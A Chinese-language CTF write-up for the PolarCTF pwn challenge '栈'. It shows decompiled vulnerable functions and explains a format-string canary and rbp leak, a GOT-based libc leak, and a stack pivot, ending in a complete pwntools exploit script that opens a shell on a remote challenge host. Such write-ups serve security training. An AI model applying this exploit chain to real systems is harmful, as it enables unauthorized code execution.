Polarctf writeup 栈
choose
开启NX,canary,dynamic link,Partial RELRO
No Pie
源码分析:
int menu()
{
puts("Choose ur challenge:");
puts("1.Format");
puts("2.Leak Libc");
return puts("3.Buf overflow");
}
unsigned __int64 format()
{
_QWORD buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x28u);
printf((const char *)buf); //fmt
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 leaklibc()
{
int v0; // eax
_QWORD buf[3]; // [rsp+0h] [rbp-30h] BYREF
int v3; // [rsp+18h] [rbp-18h]
__int16 v4; // [rsp+1Ch] [rbp-14h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v3 = 0;
v4 = 0;
read(0, buf, 0x1Eu);
v0 = atoi((const char *)buf); //泄露地址值
puts((const char *)v0);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 overflow()
{
_QWORD buf[5]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u); //栈溢出
return __readfsqword(0x28u) ^ v2;
}
肯定先想办法通过fmt绕过canary啦:
canary偏移为11
由于保护和一系列的因素准备打ret2libc
用leaklibc泄露got处的libc地址即可找到偏移和对应版本libc
一开始的payload:
#payload= b"A"*(setoff-8)+ p64(canary)+p64(0)+p64(0x0000000000400a93)+p64(bin_sh)+p64(puts_addr)
调试发现不满足栈对齐,但是Rop已经到极限了,所以考虑栈迁移到buf
不过要是知道我们在overflow没有啥泄露内存的方法(就算有rop也不好做),根据函数的调用约定我们可以知道overflow的rbp和choose的rbp指向的内存地址之间的偏移是一定的,只要在format中用fmt泄露出choose的rbp的值就好。
调试发现偏移如下:
0x7fffffffdc30 choose rbp
0x7fffffffdc10 overflow rbp
相差0x20
之后就是常规栈迁移打法
完整Exp:
from pwn import *
from LibcSearcher import *
context(os= 'linux',arch= 'amd64',log_level= "debug")
#p= process("./pwn2")
p= remote("1.95.36.136",2148)
def format(s):
p.recvuntil(b"3.Buf overflow\\n")
p.sendline(b"1")
sleep(0.1)
p.sendline(s)
def leaklibc(s):
p.recvuntil(b"3.Buf overflow\\n")
p.sendline(b"2")
sleep(0.1)
p.sendline(s)
def overflow(s):
p.recvuntil(b"3.Buf overflow\\n")
p.sendline(b"3")
sleep(0.1)
p.sendline(s)
format(b"%11$p")
canary= p.recvline().strip()
canary = int(canary, 16)
print("this is recvive")
print(hex(canary))
format(b"%12$p")
choose_rbp= p.recvline().strip()
choose_rbp = int(choose_rbp, 16)
print("this is choose_rbp recvive")
print(hex(choose_rbp))
overflow_rbp= choose_rbp-0x20
print("this is overflow_rbp recvive")
print(hex(overflow_rbp))
leaklibc(str(0x0000000000601018))
puts_addr= p.recvline().strip()
puts_addr = puts_addr.ljust(8, b'\\x00')
# 转换为整数(小端序)
puts_addr = u64(puts_addr)
print("this is recvive")
print(hex(puts_addr))
leaklibc(str(0x0000000000601038))
libc_start_main_addr= p.recvline().strip()
libc_start_main_addr = libc_start_main_addr.ljust(8, b'\\x00')
libc_start_main_addr = u64(libc_start_main_addr)
print("this is libc_start_main_addr recvive")
print(hex(libc_start_main_addr))
libc_addrs= puts_addr- 0x6f6a0
print("this libc addr")
print(hex(libc_addrs))
system_addr= 0x453a0+libc_addrs
bin_sh= libc_addrs+0x18ce57
setoff= 0x30-0x8
##stack p
payload=p64(0x0000000000400a93)+p64(bin_sh)+p64(system_addr)
payload+= b"A"*(setoff-len(payload))+ p64(canary)+p64(overflow_rbp-0x30-0x8)+p64(0x0000000000400845)
overflow(payload)
p.sendline(b"ls")
p.interactive()
#0x0000000000400845 : leave ; ret
#format setoff %6$p ,canary setoff %11$p
#choose rbp %12$p -0x20->overflow
#puts@got 0x0000000000601018

Polarctf writeup 栈
http://47.100.250.251:8091/archives/polarctf-zhan